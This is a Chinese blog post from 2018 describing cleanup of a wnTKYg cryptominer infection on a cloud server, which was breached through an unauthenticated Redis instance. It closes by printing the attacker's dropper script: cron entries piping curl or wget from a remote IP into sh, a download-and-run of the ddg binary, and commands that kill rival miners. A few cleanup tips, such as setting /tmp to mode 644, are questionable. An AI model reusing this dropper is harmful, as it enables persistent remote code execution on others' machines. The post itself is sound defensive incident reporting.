今天阿里云服务器被挂马wnTKYg挖矿的清理

今天阿里云服务器被挂马wnTKYg挖矿的清理

-今天早上刚下地铁,女朋友发来微信询问我vpn上不去了,看了一下腾讯云的服务器除了问题,vpn所在文件夹没了,本来打算上班第一件事处理这个事情。到了公司后,测试项目阿里云服务器cpu满载报警,开发那边也说服务器卡慢。
我上去top了一下,多了个wnTKYg进程,cpu占用401%。我天,这还了得,但是不能着急把这个进程kill掉,得看看这个进程的原始文件在什么位置
image.png

locate wnTKYg命令一上屏,遂将这个程序位置暴露出来,竟然在/tmp下。百度查了查据说这个是redis允许远程连接并且没设密码的关系,正好符合我们新项目测试的环境,赶紧打开/etc/redis.conf文件 把bind 127.0.0.1的注释del掉了,重启redis。测试从外部机器上登录redis已经登不上了。
接下来改着手干掉这个进程了,二话不说直接kill -9掉这个进程,cd到/tmp下 把这个文件打个包,传到本地电脑上,有时间研究研究。tar打包并传输完成再次top的时候发现这个进程又复活了,首先想到的是crond里面有计划任务,打开crontab -e查看没什么异常。 cat /etc/crontab也没有异常。情急之下找到这篇文章http://blog.sina.com.cn/s/blog_c08907b10102wyyl.html

处理方法和建议:

  • 1.根据这个提示,发现/tmp下还有个ddg.2021文件,这个文件在进程里面也确实存在,直接kill -9 ddg.2021进程和wnTKYg进程的pid。
  • 2.然后删除/tmp下的ddg.2021和wnTKYg文件,发现还有个imWBR1文件也一并删除了。/tmp下的带执行权限的文件总会引起怀疑。
  • 3.把/tmp文件夹的执行权限去掉,改成644。
    1. ls /var/spool/ 进去cron里面看了一下,有个叫root的脚本,内容如下:

      */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh 
      */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
      直接删除这cron文件夹,OK了
  • 5.更改redis只能本地登录,设置redis认证密码。
  • 6.关闭挖矿服务器访问:

    iptables -A INPUT -s  xmr.crypto-pool.fr -j DROP
    iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP

    再次ps aux |grep wnTKYg 和 ps aux |grep |ddg.2021的时候没有发现这俩进程。
    保险起见ps aux |grep imWBR1 这个是刚刚删除的tmp文件夹下有执行权限的文件,也并没有该进程,仔细检查top之后,发现恢复正常。

    总结:

    这种挂马钻的空子总是新项目测试项目的redis没有安全防护,用的默认配置,免密远程登录。大家多多注意安全,做好防护。安全生产最重要!

    最后贴出来这个挂马shell脚本:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.2021" ]; then
    curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
    fi

    if [ ! -f "/tmp/ddg.2021" ]; then
        wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
        fi

        chmod +x /tmp/ddg.2021 && /tmp/ddg.2021


        if [ ! -f "/tmp/imWBR1" ]; then
            curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
            fi

            ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
            ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
            ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
            ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
            ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
            ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
            #ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
            #ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
NETMASK=255.255.255.0  
posted @ 2018-01-26 15:23  李庆喜  阅读(140)  评论(0编辑  收藏  举报